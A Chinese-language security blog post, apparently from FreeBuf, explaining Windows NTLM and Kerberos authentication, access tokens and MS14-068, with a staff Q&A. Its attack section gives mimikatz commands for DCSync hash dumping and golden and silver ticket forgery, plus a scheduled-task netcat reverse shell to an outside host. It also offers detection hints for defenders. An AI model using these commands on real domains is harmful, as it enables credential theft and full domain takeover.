windows认证协议解析 – 作者:lex1993

前言

在团队内部做了一次windows认证协议的分享,将相关内容整理成了文档,希望能对大家有所帮助。

本文主要讲解了当前windows主要使用的NTLM认证和kerberos认证,附带讲解了一下windows内的token,同时附上了团队成员的提问及解答。

一、NTLM认证

首先看一下NTLM hash的生成过程:

NTLM hash: password —-> 十六进制编码 —-> Unicode转换 —-> MD4加密 —-> 得到NTLM Hash
举例
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

为了保证NTLM hash的机密性,在认证过程中,是不会直接传递NTLM hash的。NTLM认证分为两种,详情如下:

NTLM本地认证:客户端发送用户名等身份信息,服务端生成随机16为challenge发给客户端,客户端使用NTLM hash加密challenge发给服务端。服务端通过用户名找到NTLM hash然后加密challenge跟客户端发送过来的比对,比对成功则认证成功。

NTLM网络认证:这种情况适用于使用域账号登录的场景,这个时候服务端是没有用户的hash的。所以不一样的地方是服务端会将用户信息、challenge、客户端返回的信息都发给域控,由域控做认证再返回结果。流程图见下图:

1619093645_6081688d6fe4ca32a240d.png!small?1619093647476

二、kerberos认证

NTLM协议比较简单,kerberos认证就比较复杂了,首先,介绍几个概念。
Kerberos认证的是由三方来完成的,他们分别是client、server、KDC(Key Distribution Center)
其中KDC是由两种服务所构成的,AS(Authentication Service)和TGS(Ticket Granting Service)
AS是用来为client生成TGT(Ticket Granting Ticket)的,TGS是用来为client生成某个服务的ST(service ticket)的,TGT是用来获取ST的临时凭证,ST是用来访问某种服务所必须使用的票据。

第一步 client与AS交互
client发送: 用户名 + 用户密码加密(用户信息,时间戳等)

AS:根据用户名找到用户密码,解密出用户信息和事件戳,核实成功后认证成功,然后随机生成一个session key
AS发送:用户密码加密(session key) + TGT(也就是krbtgt加密(用户信息,session key))

注意:TGT中用户唯一不知道的是krbtgt的密码hash,所以有了这个hash,就可以自己伪造TGT,也就是所谓的金票据。

第二步 client与TGS交互
client发送:session key加密(用户信息,时间戳等) + 需要访问的服务名 + TGT
TGS:使用krbtgt密码解密TGT,获得session key 解密出用户信息,与TGS中的用户信息比对。认证成功后生成随机的 server session key
TGS发送:session key加密(server session key) + ST(也就是对应服务端密码加密(用户信息,server session key))

注意:ST中用户唯一不知道的是server的密码hash,所以有了这个hash,就可以自己伪造ST,也就是所谓的银票据。

第三步 client与server交互
client发送:server session key加密(用户信息,时间戳等) + ST
server:使用自己的密码解密ST,获得server session key,然后将server session key解密后获得的用户信息和ST中的用户信息比对,认证成功。

流程图见下图:

1619093657_60816899201be08a4b1ab.png!small?1619093659321

上面的过程中,每次加密使用的密钥基本都是不一样的,是一次一密的一个很好的实践。

Kerberos认证攻击方法:

下面简单讲一下金票据的伪造和利用,使用工具为mimikatz。
1.在域控上获取ntlm hash等信息

lsadump::dcsync /domain:[domain name] /user:krbtgt

2.生成金票据

privilege::debug  #提权
kerberos::golden /user:administrator /domain:[domain name]  /sid:[domain sid] /krbtgt:[krbtgt hash] /ptt  #生成票据并导入
# kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

3.后续利用
①列举域控上磁盘文件

net use \\AD01.test.com
dir \\AD01.test.com\c$

②反弹shell

nc.exe -lvp 9999  #监听端口
copy C:\Users\Administrator\Desktop\nc.exe \\AD01.test.com\c$\nc.exe#将netcat拷贝到目标主机
schtasks /create /tn "ncshell" /tr "c:\nc.exe  1.1.1.1 9999 -e cmd.exe"  /sc once /st 19:13:00 /sd 2021/04/13 /s AD01.test.com /RU test\admin #反弹shell

③使用psexec直接执行命令:

PsExec64.exe \\AD01.test.com cmd.exe

银票据的利用基本类似:

kerberos::golden /domain:test.com /sid:[sid] /target:计算机名称.test.com /rc4:[server hash] /service:cifs /user:administrator /ptt

MS14-068原理

这里简单介绍一下票据攻击中大名鼎鼎的漏洞MS14-068
利用前提:

1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

背景信息:

kerberos协议中其实没有client的权限信息,server并不知道client有什么权限。所以有了PAC(privilege attribute certificate),特权属性证书,作为TGT的一部分。
为保证PAC自身合法性,其带有两个以krbtgt密码为密钥的签名。

攻击过程:

客户端请求TGT,要求不包含PAC,拿到不包含PAC的TGT
客户端伪造PAC,一般伪造成域管理员信息,然后随便用MD5签名一下
客户端请求ST,发送TGT,同时指定将PAC包含在请求中(具体再在TGS_REQ的REQ_BODY中),指定其签名方式为MD5
TGS收到请求后,解密TGT,不包含PAC,然后根据指定的签名算法也就是MD5验证在外部的PAC,验证成功后,会再返回给client一个新的包含PAC的TGT
这样client就可以拿到一个包含指定用户权限的TGT

票据攻击检测:

1.根据工具特征,mimikatz和kekeo类似,攻击参数特征非常明显,可根据进程创建日志中的“kerberos::”等特征检测。
2.微软的ATA可根据ticket有效期检测,TGT默认十小时有效,但mimikatz生成默认十年(由可选参数/ endin 控制)

三、令牌(token)

token是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用不断的拷贝。一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token。当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。

令牌内容:

用户帐户的安全标识符(SID)
用户所属的组的SID
用于标识当前登录会话的登录SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据

四、答疑

1、域控上的krbtgt账号是怎么创建的?有默认随机密码还是随机密码?如何修改?

krbtgt是在创建域控的时候自动生成的,并且由系统给他随机分配一个密码。修改密码是到Active Directory 用户和计算机中,找到相关用户,reset密码,然后输入指定的密码。 指定的密码不是很重要,因为系统将自动独立于指定的密码生成强密码。

2、什么时候使用token?什么时候用kerberos?以及它们之间有什么关系?

token是在本地用的,kerberos是网络认证用的。token里面有个authentication id字段,跟登录会话关联起来,然后登录会话跟缓存凭据关联起来,使用token登录其他主机时,会使用缓存凭证去登录其他机器。
网络登录不会缓存凭据,比如net use到目标主机就不会在目标主机上查到hash,通过incognito也找不到可利用的token,但是在本地主机上可以看到明文账号密码。

3、在受害主机伪造了域控进程的token后如何进一步利用?

可直接net use或者psexec执行命令。

4、既然域账号NTLM认证是在域控上完成的,为什么登陆之后还是能够获取到NTLMhash?

如果是RDP方式登录,是在远程电脑上的进程中输入明文的密码,处理过程的前面部分类似本地登录,也就是winlogon.exe -> 接收用户输入 -> lsass.exe。也就是RDP的目标机器接收了本地账号并将其处理成hash,然后RDP目标机器再使用这个hash去域控上认证。

参考链接:

https://www.freebuf.com/articles/system/224171.html

https://www.elastic.co/cn/blog/introduction-to-windows-tokens-for-security-practitioners

https://aijishu.com/a/1060000000014682

https://xz.aliyun.com/t/6600

https://www.freebuf.com/vuls/56081.html

https://blog.csdn.net/qq_18501087/article/details/101593442

来源:freebuf.com 2021-04-22 20:42:33 by: lex1993

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论